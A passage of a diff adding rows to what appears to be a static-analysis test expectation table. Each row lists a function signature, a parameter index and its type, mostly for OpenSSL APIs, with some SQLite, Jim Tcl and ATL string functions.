void *) | | ASN1_i2d_fp | 1 | FILE * | +| (i2d_of_void *,FILE *,const void *) | | ASN1_i2d_fp | 2 | const void * | +| (i2d_of_void *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,char *,EVP_PKEY *,const EVP_MD *) | | ASN1_sign | 0 | i2d_of_void * | +| (i2d_of_void *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,char *,EVP_PKEY *,const EVP_MD *) | | ASN1_sign | 1 | X509_ALGOR * | +| (i2d_of_void *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,char *,EVP_PKEY *,const EVP_MD *) | | ASN1_sign | 2 | X509_ALGOR * | +| (i2d_of_void *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,char *,EVP_PKEY *,const EVP_MD *) | | ASN1_sign | 3 | ASN1_BIT_STRING * | +| (i2d_of_void *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,char *,EVP_PKEY *,const EVP_MD *) | | ASN1_sign | 4 | char * | +| (i2d_of_void *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,char *,EVP_PKEY *,const EVP_MD *) | | ASN1_sign | 5 | EVP_PKEY * | +| (i2d_of_void *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,char *,EVP_PKEY *,const EVP_MD *) | | ASN1_sign | 6 | const EVP_MD * | +| (i2d_of_void *,const char *,BIO *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write_bio | 0 | i2d_of_void * | +| (i2d_of_void *,const char *,BIO *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write_bio | 1 | const char * | +| (i2d_of_void *,const char *,BIO *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write_bio | 2 | BIO * | +| (i2d_of_void *,const char *,BIO *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write_bio | 3 | const void * | +| (i2d_of_void *,const char *,BIO *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write_bio | 4 | const EVP_CIPHER * | +| (i2d_of_void *,const char *,BIO *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write_bio | 5 | const unsigned char * | +| (i2d_of_void *,const char *,BIO *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write_bio | 6 | int | +| (i2d_of_void *,const char *,BIO *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write_bio | 7 | pem_password_cb * | +| (i2d_of_void *,const char *,BIO *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write_bio | 8 | void * | +| (i2d_of_void *,const char *,FILE *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write | 0 | i2d_of_void * | +| (i2d_of_void *,const char *,FILE *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write | 1 | const char * | +| (i2d_of_void *,const char *,FILE *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write | 2 | FILE * | +| (i2d_of_void *,const char *,FILE *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write | 3 | const void * | +| (i2d_of_void *,const char *,FILE *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write | 4 | const EVP_CIPHER * | +| (i2d_of_void *,const char *,FILE *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write | 5 | const unsigned char * | +| (i2d_of_void *,const char *,FILE *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write | 6 | int | +| (i2d_of_void *,const char *,FILE *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write | 7 | pem_password_cb * | +| (i2d_of_void *,const char *,FILE *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write | 8 | void * | +| (i2d_of_void *,d2i_of_void *,const void *) | | ASN1_dup | 0 | i2d_of_void * | +| (i2d_of_void *,d2i_of_void *,const void *) | | ASN1_dup | 1 | d2i_of_void * | +| (i2d_of_void *,d2i_of_void *,const void *) | | ASN1_dup | 2 | const void * | +| (int64_t *,const ASN1_ENUMERATED *) | | ASN1_ENUMERATED_get_int64 | 0 | int64_t * | +| (int64_t *,const ASN1_ENUMERATED *) | | ASN1_ENUMERATED_get_int64 | 1 | const ASN1_ENUMERATED * | +| (int64_t *,const ASN1_INTEGER *) | | ASN1_INTEGER_get_int64 | 0 | int64_t * | +| (int64_t *,const ASN1_INTEGER *) | | ASN1_INTEGER_get_int64 | 1 | const ASN1_INTEGER * | +| (int *,ASN1_TIME **,const ASN1_TIME *) | | ossl_x509_set1_time | 0 | int * | +| (int *,ASN1_TIME **,const ASN1_TIME *) | | ossl_x509_set1_time | 1 | ASN1_TIME ** | +| (int *,ASN1_TIME **,const ASN1_TIME *) | | ossl_x509_set1_time | 2 | const ASN1_TIME * | +| (int *,X509 *,stack_st_X509 *,unsigned long) | | X509_chain_check_suiteb | 0 | int * | +| (int *,X509 *,stack_st_X509 *,unsigned long) | | X509_chain_check_suiteb | 1 | X509 * | +| (int *,X509 *,stack_st_X509 *,unsigned long) | | X509_chain_check_suiteb | 2 | stack_st_X509 * | +| (int *,X509 *,stack_st_X509 *,unsigned long) | | X509_chain_check_suiteb | 3 | unsigned long | +| (int *,const char *,const char *,const char *,const char *,int,int,int,int,int,BIO_ADDR **) | | init_client | 0 | int * | +| (int *,const char *,const char *,const char *,const char *,int,int,int,int,int,BIO_ADDR **) | | init_client | 1 | const char * | +| (int *,const char *,const char *,const char *,const char *,int,int,int,int,int,BIO_ADDR **) | | init_client | 2 | const char * | +| (int *,const char *,const char *,const char *,const char *,int,int,int,int,int,BIO_ADDR **) | | init_client | 3 | const char * | +| (int *,const char *,const char *,const char *,const char *,int,int,int,int,int,BIO_ADDR **) | | init_client | 4 | const char * | +| (int *,const char *,const char *,const char *,const char *,int,int,int,int,int,BIO_ADDR **) | | init_client | 5 | int | +| (int *,const char *,const char *,const char *,const char *,int,int,int,int,int,BIO_ADDR **) | | init_client | 6 | int | +| (int *,const char *,const char *,const char *,const char *,int,int,int,int,int,BIO_ADDR **) | | init_client | 7 | int | +| (int *,const char *,const char *,const char *,const char *,int,int,int,int,int,BIO_ADDR **) | | init_client | 8 | int | +| (int *,const char *,const char *,const char *,const char *,int,int,int,int,int,BIO_ADDR **) | | init_client | 9 | int | +| (int *,const char *,const char *,const char *,const char *,int,int,int,int,int,BIO_ADDR **) | | init_client | 10 | BIO_ADDR ** | +| (int *,int *,const ASN1_TIME *,const ASN1_TIME *) | | ASN1_TIME_diff | 0 | int * | +| (int *,int *,const ASN1_TIME *,const ASN1_TIME *) | | ASN1_TIME_diff | 1 | int * | +| (int *,int *,const ASN1_TIME *,const ASN1_TIME *) | | ASN1_TIME_diff | 2 | const ASN1_TIME * | +| (int *,int *,const ASN1_TIME *,const ASN1_TIME *) | | ASN1_TIME_diff | 3 | const ASN1_TIME * | +| (int *,int *,const EVP_PKEY_METHOD *) | | EVP_PKEY_meth_get0_info | 0 | int * | +| (int *,int *,const EVP_PKEY_METHOD *) | | EVP_PKEY_meth_get0_info | 1 | int * | +| (int *,int *,const EVP_PKEY_METHOD *) | | EVP_PKEY_meth_get0_info | 2 | const EVP_PKEY_METHOD * | +| (int *,int *,const tm *,const tm *) | | OPENSSL_gmtime_diff | 0 | int * | +| (int *,int *,const tm *,const tm *) | | OPENSSL_gmtime_diff | 1 | int * | +| (int *,int *,const tm *,const tm *) | | OPENSSL_gmtime_diff | 2 | const tm * | +| (int *,int *,const tm *,const tm *) | | OPENSSL_gmtime_diff | 3 | const tm * | +| (int *,int *,int *,const char **,const char **,const EVP_PKEY_ASN1_METHOD *) | | EVP_PKEY_asn1_get0_info | 0 | int * | +| (int *,int *,int *,const char **,const char **,const EVP_PKEY_ASN1_METHOD *) | | EVP_PKEY_asn1_get0_info | 1 | int * | +| (int *,int *,int *,const char **,const char **,const EVP_PKEY_ASN1_METHOD *) | | EVP_PKEY_asn1_get0_info | 2 | int * | +| (int *,int *,int *,const char **,const char **,const EVP_PKEY_ASN1_METHOD *) | | EVP_PKEY_asn1_get0_info | 3 | const char ** | +| (int *,int *,int *,const char **,const char **,const EVP_PKEY_ASN1_METHOD *) | | EVP_PKEY_asn1_get0_info | 4 | const char ** | +| (int *,int *,int *,const char **,const char **,const EVP_PKEY_ASN1_METHOD *) | | EVP_PKEY_asn1_get0_info | 5 | const EVP_PKEY_ASN1_METHOD * | +| (int *,int *,size_t) | | EVP_PBE_get | 0 | int * | +| (int *,int *,size_t) | | EVP_PBE_get | 1 | int * | +| (int *,int *,size_t) | | EVP_PBE_get | 2 | size_t | +| (int *,int) | | X509_PURPOSE_set | 0 | int * | +| (int *,int) | | X509_PURPOSE_set | 1 | int | +| (int *,int) | | X509_TRUST_set | 0 | int * | +| (int *,int) | | X509_TRUST_set | 1 | int | +| (int *,sqlite3_stmt *) | | shellReset | 0 | int * | +| (int *,sqlite3_stmt *) | | shellReset | 1 | sqlite3_stmt * | +| (int *,unsigned char **,const ASN1_VALUE **,const ASN1_ITEM *) | | ossl_asn1_enc_restore | 0 | int * | +| (int *,unsigned char **,const ASN1_VALUE **,const ASN1_ITEM *) | | ossl_asn1_enc_restore | 1 | unsigned char ** | +| (int *,unsigned char **,const ASN1_VALUE **,const ASN1_ITEM *) | | ossl_asn1_enc_restore | 2 | const ASN1_VALUE ** | +| (int *,unsigned char **,const ASN1_VALUE **,const ASN1_ITEM *) | | ossl_asn1_enc_restore | 3 | const ASN1_ITEM * | +| (int) | | ASN1_STRING_type_new | 0 | int | +| (int) | | ASN1_tag2bit | 0 | int | +| (int) | | ASN1_tag2str | 0 | int | +| (int) | | EVP_PKEY_asn1_get0 | 0 | int | +| (int) | | Jim_ReturnCode | 0 | int | +| (int) | | Jim_SignalId | 0 | int | +| (int) | | OBJ_nid2ln | 0 | int | +| (int) | | OBJ_nid2obj | 0 | int | +| (int) | | OBJ_nid2sn | 0 | int | +| (int) | | OSSL_STORE_INFO_type_string | 0 | int | +| (int) | | OSSL_trace_get_category_name | 0 | int | +| (int) | | PKCS12_init | 0 | int | +| (int) | | Symbol_Nth | 0 | int | +| (int) | | X509_PURPOSE_get0 | 0 | int | +| (int) | | X509_PURPOSE_get_by_id | 0 | int | +| (int) | | X509_TRUST_get0 | 0 | int | +| (int) | | X509_TRUST_get_by_id | 0 | int | +| (int) | | X509_VERIFY_PARAM_get0 | 0 | int | +| (int) | | evp_pkey_type2name | 0 | int | +| (int) | | ossl_cmp_bodytype_to_string | 0 | int | +| (int) | | ossl_tolower | 0 | int | +| (int) | | ossl_toupper | 0 | int | +| (int) | | sqlite3_compileoption_get | 0 | int | +| (int) | | sqlite3_errstr | 0 | int | +| (int) | | tls13_alert_code | 0 | int | +| (int,BIO_ADDR *,int) | | BIO_accept_ex | 0 | int | +| (int,BIO_ADDR *,int) | | BIO_accept_ex | 1 | BIO_ADDR * | +| (int,BIO_ADDR *,int) | | BIO_accept_ex | 2 | int | +| (int,CRYPTO_EX_DATA *,const CRYPTO_EX_DATA *) | | CRYPTO_dup_ex_data | 0 | int | +| (int,CRYPTO_EX_DATA *,const CRYPTO_EX_DATA *) | | CRYPTO_dup_ex_data | 1 | CRYPTO_EX_DATA * | +| (int,CRYPTO_EX_DATA *,const CRYPTO_EX_DATA *) | | CRYPTO_dup_ex_data | 2 | const CRYPTO_EX_DATA * | +| (int,ENGINE *) | | EVP_PKEY_CTX_new_id | 0 | int | +| (int,ENGINE *) | | EVP_PKEY_CTX_new_id | 1 | ENGINE * | +| (int,ENGINE *,const unsigned char *,int) | | EVP_PKEY_new_mac_key | 0 | int | +| (int,ENGINE *,const unsigned char *,int) | | EVP_PKEY_new_mac_key | 1 | ENGINE * | +| (int,ENGINE *,const unsigned char *,int) | | EVP_PKEY_new_mac_key | 2 | const unsigned char * | +| (int,ENGINE *,const unsigned char *,int) | | EVP_PKEY_new_mac_key | 3 | int | +| (int,ENGINE *,const unsigned char *,size_t) | | EVP_PKEY_new_raw_private_key | 0 | int | +| (int,ENGINE *,const unsigned char *,size_t) | | EVP_PKEY_new_raw_private_key | 1 | ENGINE * | +| (int,ENGINE *,const unsigned char *,size_t) | | EVP_PKEY_new_raw_private_key | 2 | const unsigned char * | +| (int,ENGINE *,const unsigned char *,size_t) | | EVP_PKEY_new_raw_private_key | 3 | size_t | +| (int,ENGINE *,const unsigned char *,size_t) | | EVP_PKEY_new_raw_public_key | 0 | int | +| (int,ENGINE *,const unsigned char *,size_t) | | EVP_PKEY_new_raw_public_key | 1 | ENGINE * | +| (int,ENGINE *,const unsigned char *,size_t) | | EVP_PKEY_new_raw_public_key | 2 | const unsigned char * | +| (int,ENGINE *,const unsigned char *,size_t) | | EVP_PKEY_new_raw_public_key | 3 | size_t | +| (int,ERR_STRING_DATA *) | | ERR_load_strings | 0 | int | +| (int,ERR_STRING_DATA *) | | ERR_load_strings | 1 | ERR_STRING_DATA * | +| (int,ERR_STRING_DATA *) | | ERR_unload_strings | 0 | int | +| (int,ERR_STRING_DATA *) | | ERR_unload_strings | 1 | ERR_STRING_DATA * | +| (int,EVP_PKEY **,BIO *) | | d2i_KeyParams_bio | 0 | int | +| (int,EVP_PKEY **,BIO *) | | d2i_KeyParams_bio | 1 | EVP_PKEY ** | +| (int,EVP_PKEY **,BIO *) | | d2i_KeyParams_bio | 2 | BIO * | +| (int,EVP_PKEY **,const unsigned char **,long) | | d2i_KeyParams | 0 | int | +| (int,EVP_PKEY **,const unsigned char **,long) | | d2i_KeyParams | 1 | EVP_PKEY ** | +| (int,EVP_PKEY **,const unsigned char **,long) | | d2i_KeyParams | 2 | const unsigned char ** | +| (int,EVP_PKEY **,const unsigned char **,long) | | d2i_KeyParams | 3 | long | +| (int,EVP_PKEY **,const unsigned char **,long) | | d2i_PrivateKey | 0 | int | +| (int,EVP_PKEY **,const unsigned char **,long) | | d2i_PrivateKey | 1 | EVP_PKEY ** | +| (int,EVP_PKEY **,const unsigned char **,long) | | d2i_PrivateKey | 2 | const unsigned char ** | +| (int,EVP_PKEY **,const unsigned char **,long) | | d2i_PrivateKey | 3 | long | +| (int,EVP_PKEY **,const unsigned char **,long) | | d2i_PublicKey | 0 | int | +| (int,EVP_PKEY **,const unsigned char **,long) | | d2i_PublicKey | 1 | EVP_PKEY ** | +| (int,EVP_PKEY **,const unsigned char **,long) | | d2i_PublicKey | 2 | const unsigned char ** | +| (int,EVP_PKEY **,const unsigned char **,long) | | d2i_PublicKey | 3 | long | +| (int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | d2i_PrivateKey_ex | 0 | int | +| (int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | d2i_PrivateKey_ex | 1 | EVP_PKEY ** | +| (int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | d2i_PrivateKey_ex | 2 | const unsigned char ** | +| (int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | d2i_PrivateKey_ex | 3 | long | +| (int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | d2i_PrivateKey_ex | 4 | OSSL_LIB_CTX * | +| (int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | d2i_PrivateKey_ex | 5 | const char * | +| (int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | ossl_d2i_PrivateKey_legacy | 0 | int | +| (int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | ossl_d2i_PrivateKey_legacy | 1 | EVP_PKEY ** | +| (int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | ossl_d2i_PrivateKey_legacy | 2 | const unsigned char ** | +| (int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | ossl_d2i_PrivateKey_legacy | 3 | long | +| (int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | ossl_d2i_PrivateKey_legacy | 4 | OSSL_LIB_CTX * | +| (int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | ossl_d2i_PrivateKey_legacy | 5 | const char * | | (int,LPCOLESTR) | CComBSTR | CComBSTR | 0 | int | | (int,LPCOLESTR) | CComBSTR | CComBSTR | 1 | LPCOLESTR | | (int,LPCSTR) | CComBSTR | CComBSTR | 0 | int | | (int,LPCSTR) | CComBSTR | CComBSTR | 1 | LPCSTR | +| (int,OCSP_BASICRESP *) | | OCSP_response_create | 0 | int | +| (int,OCSP_BASICRESP *) | | OCSP_response_create | 1 | OCSP_BASICRESP * | +| (int,OSSL_CRMF_MSG *,EVP_PKEY *,const EVP_MD *,OSSL_LIB_CTX *,const char *) | | OSSL_CRMF_MSG_create_popo | 0 | int | +| (int,OSSL_CRMF_MSG *,EVP_PKEY *,const EVP_MD *,OSSL_LIB_CTX *,const char *) | | OSSL_CRMF_MSG_create_popo | 1 | OSSL_CRMF_MSG * | +| (int,OSSL_CRMF_MSG *,EVP_PKEY *,const EVP_MD *,OSSL_LIB_CTX *,const char *) | | OSSL_CRMF_MSG_create_popo | 2 | EVP_PKEY * | +| (int,OSSL_CRMF_MSG *,EVP_PKEY *,const EVP_MD *,OSSL_LIB_CTX *,const char *) | | OSSL_CRMF_MSG_create_popo | 3 | const EVP_MD * | +| (int,OSSL_CRMF_MSG *,EVP_PKEY *,const EVP_MD *,OSSL_LIB_CTX *,const char *) | | OSSL_CRMF_MSG_create_popo | 4 | OSSL_LIB_CTX * | +| (int,OSSL_CRMF_MSG *,EVP_PKEY *,const EVP_MD *,OSSL_LIB_CTX *,const char *) | | OSSL_CRMF_MSG_create_popo | 5 | const char * | +| (int,OSSL_HPKE_SUITE,int,OSSL_LIB_CTX *,const char *) | | OSSL_HPKE_CTX_new | 0 | int | +| (int,OSSL_HPKE_SUITE,int,OSSL_LIB_CTX *,const char *) | | OSSL_HPKE_CTX_new | 1 | OSSL_HPKE_SUITE | +| (int,OSSL_HPKE_SUITE,int,OSSL_LIB_CTX *,const char *) | | OSSL_HPKE_CTX_new | 2 | int | +| (int,OSSL_HPKE_SUITE,int,OSSL_LIB_CTX *,const char *) | | OSSL_HPKE_CTX_new | 3 | OSSL_LIB_CTX * | +| (int,OSSL_HPKE_SUITE,int,OSSL_LIB_CTX *,const char *) | | OSSL_HPKE_CTX_new | 4 | const char * | +| (int,OSSL_LIB_CTX *) | | ossl_rcu_lock_new | 0 | int | +| (int,OSSL_LIB_CTX *) | | ossl_rcu_lock_new | 1 | OSSL_LIB_CTX * | +| (int,OSSL_LIB_CTX *,const char *) | | PKCS12_init_ex | 0 | int | +| (int,OSSL_LIB_CTX *,const char *) | | PKCS12_init_ex | 1 | OSSL_LIB_CTX * | +| (int,OSSL_LIB_CTX *,const char *) | | PKCS12_init_ex | 2 | const char * | | (int,PCXSTR) | CStringT | Insert | 0 | int | | (int,PCXSTR) | CStringT | Insert | 1 | PCXSTR | +| (int,SSL *,const unsigned char *,long) | | SSL_use_PrivateKey_ASN1 | 0 | int | +| (int,SSL *,const unsigned char *,long) | | SSL_use_PrivateKey_ASN1 | 1 | SSL * | +| (int,SSL *,const unsigned char *,long) | | SSL_use_PrivateKey_ASN1 | 2 | const unsigned char * | +| (int,SSL *,const unsigned char *,long) | | SSL_use_PrivateKey_ASN1 | 3 | long | +| (int,SSL_CTX *,const unsigned char *,long) | | SSL_CTX_use_PrivateKey_ASN1 | 0 | int | +| (int,SSL_CTX *,const unsigned char *,long) | | SSL_CTX_use_PrivateKey_ASN1 | 1 | SSL_CTX * | +| (int,SSL_CTX *,const unsigned char *,long) | | SSL_CTX_use_PrivateKey_ASN1 | 2 | const unsigned char * | +| (int,SSL_CTX *,const unsigned char *,long) | | SSL_CTX_use_PrivateKey_ASN1 | 3 | long | +| (int,SSL_EXCERT **) | | args_excert | 0 | int | +| (int,SSL_EXCERT **) | | args_excert | 1 | SSL_EXCERT ** | +| (int,X509_STORE_CTX *) | | X509_STORE_CTX_print_verify_cb | 0 | int | +| (int,X509_STORE_CTX *) | | X509_STORE_CTX_print_verify_cb | 1 | X509_STORE_CTX * | +| (int,X509_STORE_CTX *) | | verify_callback | 0 | int | +| (int,X509_STORE_CTX *) | | verify_callback | 1 | X509_STORE_CTX * | | (int,XCHAR) | CStringT | Insert | 0 | int | | (int,XCHAR) | CStringT | Insert | 1 | XCHAR | +| (int,char **) | | BIO_accept | 0 | int | +| (int,char **) | | BIO_accept | 1 | char ** | +| (int,char **,char *[]) | | ca_main | 0 | int | +| (int,char **,char *[]) | | ca_main | 1 | char ** | +| (int,char **,char *[]) | | ca_main | 2 | char *[] | +| (int,char **,char *[]) | | ciphers_main | 0 | int | +| (int,char **,char *[]) | | ciphers_main | 1 | char ** | +| (int,char **,char *[]) | | ciphers_main | 2 | char *[] | +| (int,char **,char *[]) | | cmp_main | 0 | int | +| (int,char **,char *[]) | | cmp_main | 1 | char ** | +| (int,char **,char *[]) | | cmp_main | 2 | char *[] | +| (int,char **,char *[]) | | cms_main | 0 | int | +| (int,char **,char *[]) | | cms_main | 1 | char ** | +| (int,char **,char *[]) | | cms_main | 2 | char *[] | +| (int,char **,char *[]) | | crl2pkcs7_main | 0 | int | +| (int,char **,char *[]) | | crl2pkcs7_main | 1 | char ** | +| (int,char **,char *[]) | | crl2pkcs7_main | 2 | char *[] | +| (int,char **,char *[]) | | crl_main | 0 | int | +| (int,char **,char *[]) | | crl_main | 1 | char ** | +| (int,char **,char *[]) | | crl_main | 2 | char *[] | +| (int,char **,char *[]) | | dgst_main | 0 | int | +| (int,char **,char *[]) | | dgst_main | 1 | char ** | +| (int,char **,char *[]) | | dgst_main | 2 | char *[] | +| (int,char **,char *[]) | | dhparam_main | 0 | int | +| (int,char **,char *[]) | | dhparam_main | 1 | char ** | +| (int,char **,char *[]) | | dhparam_main | 2 | char *[] | +| (int,char **,char *[]) | | dsa_main | 0 | int | +| (int,char **,char *[]) | | dsa_main | 1 | char ** | +| (int,char **,char *[]) | | dsa_main | 2 | char *[] | +| (int,char **,char *[]) | | dsaparam_main | 0 | int | +| (int,char **,char *[]) | | dsaparam_main | 1 | char ** | +| (int,char **,char *[]) | | dsaparam_main | 2 | char *[] | +| (int,char **,char *[]) | | ec_main | 0 | int | +| (int,char **,char *[]) | | ec_main | 1 | char ** | +| (int,char **,char *[]) | | ec_main | 2 | char *[] | +| (int,char **,char *[]) | | ecparam_main | 0 | int | +| (int,char **,char *[]) | | ecparam_main | 1 | char ** | +| (int,char **,char *[]) | | ecparam_main | 2 | char *[] | +| (int,char **,char *[]) | | enc_main | 0 | int | +| (int,char **,char *[]) | | enc_main | 1 | char ** | +| (int,char **,char *[]) | | enc_main | 2 | char *[] | +| (int,char **,char *[]) | | engine_main | 0 | int | +| (int,char **,char *[]) | | engine_main | 1 | char ** | +| (int,char **,char *[]) | | engine_main | 2 | char *[] | +| (int,char **,char *[]) | | errstr_main | 0 | int | +| (int,char **,char *[]) | | errstr_main | 1 | char ** | +| (int,char **,char *[]) | | errstr_main | 2 | char *[] | +| (int,char **,char *[]) | | fipsinstall_main | 0 | int | +| (int,char **,char *[]) | | fipsinstall_main | 1 | char ** | +| (int,char **,char *[]) | | fipsinstall_main | 2 | char *[] | +| (int,char **,char *[]) | | gendsa_main | 0 | int | +| (int,char **,char *[]) | | gendsa_main | 1 | char ** | +| (int,char **,char *[]) | | gendsa_main | 2 | char *[] | +| (int,char **,char *[]) | | genpkey_main | 0 | int | +| (int,char **,char *[]) | | genpkey_main | 1 | char ** | +| (int,char **,char *[]) | | genpkey_main | 2 | char *[] | +| (int,char **,char *[]) | | genrsa_main | 0 | int | +| (int,char **,char *[]) | | genrsa_main | 1 | char ** | +| (int,char **,char *[]) | | genrsa_main | 2 | char *[] | +| (int,char **,char *[]) | | help_main | 0 | int | +| (int,char **,char *[]) | | help_main | 1 | char ** | +| (int,char **,char *[]) | | help_main | 2 | char *[] | +| (int,char **,char *[]) | | info_main | 0 | int | +| (int,char **,char *[]) | | info_main | 1 | char ** | +| (int,char **,char *[]) | | info_main | 2 | char *[] | +| (int,char **,char *[]) | | kdf_main | 0 | int | +| (int,char **,char *[]) | | kdf_main | 1 | char ** | +| (int,char **,char *[]) | | kdf_main | 2 | char *[] | +| (int,char **,char *[]) | | list_main | 0 | int | +| (int,char **,char *[]) | | list_main | 1 | char ** | +| (int,char **,char *[]) | | list_main | 2 | char *[] | +| (int,char **,char *[]) | | mac_main | 0 | int | +| (int,char **,char *[]) | | mac_main | 1 | char ** | +| (int,char **,char *[]) | | mac_main | 2 | char *[] | +| (int,char **,char *[]) | | nseq_main | 0 | int | +| (int,char **,char *[]) | | nseq_main | 1 | char ** | +| (int,char **,char *[]) | | nseq_main | 2 | char *[] | +| (int,char **,char *[]) | | ocsp_main | 0 | int | +| (int,char **,char *[]) | | ocsp_main | 1 | char ** | +| (int,char **,char *[]) | | ocsp_main | 2 | char *[] | +| (int,char **,char *[]) | | passwd_main | 0 | int | +| (int,char **,char *[]) | | passwd_main | 1 | char ** | +| (int,char **,char *[]) | | passwd_main | 2 | char *[] | +| (int,char **,char *[]) | | pkcs7_main | 0 | int | +| (int,char **,char *[]) | | pkcs7_main | 1 | char ** | +| (int,char **,char *[]) | | pkcs7_main | 2 | char *[] | +| (int,char **,char *[]) | | pkcs8_main | 0 | int | +| (int,char **,char *[]) | | pkcs8_main | 1 | char ** | +| (int,char **,char *[]) | | pkcs8_main | 2 | char *[] | +| (int,char **,char *[]) | | pkcs12_main | 0 | int | +| (int,char **,char *[]) | | pkcs12_main | 1 | char ** | +| (int,char **,char *[]) | | pkcs12_main | 2 | char *[] | +| (int,char **,char *[]) | | pkey_main | 0 | int | +| (int,char **,char *[]) | | pkey_main | 1 | char ** | +| (int,char **,char *[]) | | pkey_main | 2 | char *[] | +| (int,char **,char *[]) | | pkeyparam_main | 0 | int | +| (int,char **,char *[]) | | pkeyparam_main | 1 | char ** | +| (int,char **,char *[]) | | pkeyparam_main | 2 | char *[] | +| (int,char **,char *[]) | | pkeyutl_main | 0 | int | +| (int,char **,char *[]) | | pkeyutl_main | 1 | char ** | +| (int,char **,char *[]) | | pkeyutl_main | 2 | char *[] | +| (int,char **,char *[]) | | prime_main | 0 | int | +| (int,char **,char *[]) | | prime_main | 1 | char ** | +| (int,char **,char *[]) | | prime_main | 2 | char *[] | +| (int,char **,char *[]) | | rand_main | 0 | int | +| (int,char **,char *[]) | | rand_main | 1 | char ** | +| (int,char **,char *[]) | | rand_main | 2 | char *[] | +| (int,char **,char *[]) | | rehash_main | 0 | int | +| (int,char **,char *[]) | | rehash_main | 1 | char ** | +| (int,char **,char *[]) | | rehash_main | 2 | char *[] | +| (int,char **,char *[]) | | req_main | 0 | int | +| (int,char **,char *[]) | | req_main | 1 | char ** | +| (int,char **,char *[]) | | req_main | 2 | char *[] | +| (int,char **,char *[]) | | rsa_main | 0 | int | +| (int,char **,char *[]) | | rsa_main | 1 | char ** | +| (int,char **,char *[]) | | rsa_main | 2 | char *[] | +| (int,char **,char *[]) | | rsautl_main | 0 | int | +| (int,char **,char *[]) | | rsautl_main | 1 | char ** | +| (int,char **,char *[]) | | rsautl_main | 2 | char *[] | +| (int,char **,char *[]) | | s_client_main | 0 | int | +| (int,char **,char *[]) | | s_client_main | 1 | char ** | +| (int,char **,char *[]) | | s_client_main | 2 | char *[] | +| (int,char **,char *[]) | | s_time_main | 0 | int | +| (int,char **,char *[]) | | s_time_main | 1 | char ** | +| (int,char **,char *[]) | | s_time_main | 2 | char *[] | +| (int,char **,char *[]) | | sess_id_main | 0 | int | +| (int,char **,char *[]) | | sess_id_main | 1 | char ** | +| (int,char **,char *[]) | | sess_id_main | 2 | char *[] | +| (int,char **,char *[]) | | skeyutl_main | 0 | int | +| (int,char **,char *[]) | | skeyutl_main | 1 | char ** | +| (int,char **,char *[]) | | skeyutl_main | 2 | char *[] | +| (int,char **,char *[]) | | smime_main | 0 | int | +| (int,char **,char *[]) | | smime_main | 1 | char ** | +| (int,char **,char *[]) | | smime_main | 2 | char *[] | +| (int,char **,char *[]) | | speed_main | 0 | int | +| (int,char **,char *[]) | | speed_main | 1 | char ** | +| (int,char **,char *[]) | | speed_main | 2 | char *[] | +| (int,char **,char *[]) | | spkac_main | 0 | int | +| (int,char **,char *[]) | | spkac_main | 1 | char ** | +| (int,char **,char *[]) | | spkac_main | 2 | char *[] | +| (int,char **,char *[]) | | srp_main | 0 | int | +| (int,char **,char *[]) | | srp_main | 1 | char ** | +| (int,char **,char *[]) | | srp_main | 2 | char *[] | +| (int,char **,char *[]) | | ts_main | 0 | int | +| (int,char **,char *[]) | | ts_main | 1 | char ** | +| (int,char **,char *[]) | | ts_main | 2 | char *[] | +| (int,char **,char *[]) | | verify_main | 0 | int | +| (int,char **,char *[]) | | verify_main | 1 | char ** | +| (int,char **,char *[]) | | verify_main | 2 | char *[] | +| (int,char **,char *[]) | | version_main | 0 | int | +| (int,char **,char *[]) | | version_main | 1 | char ** | +| (int,char **,char *[]) | | version_main | 2 | char *[] | +| (int,char **,char 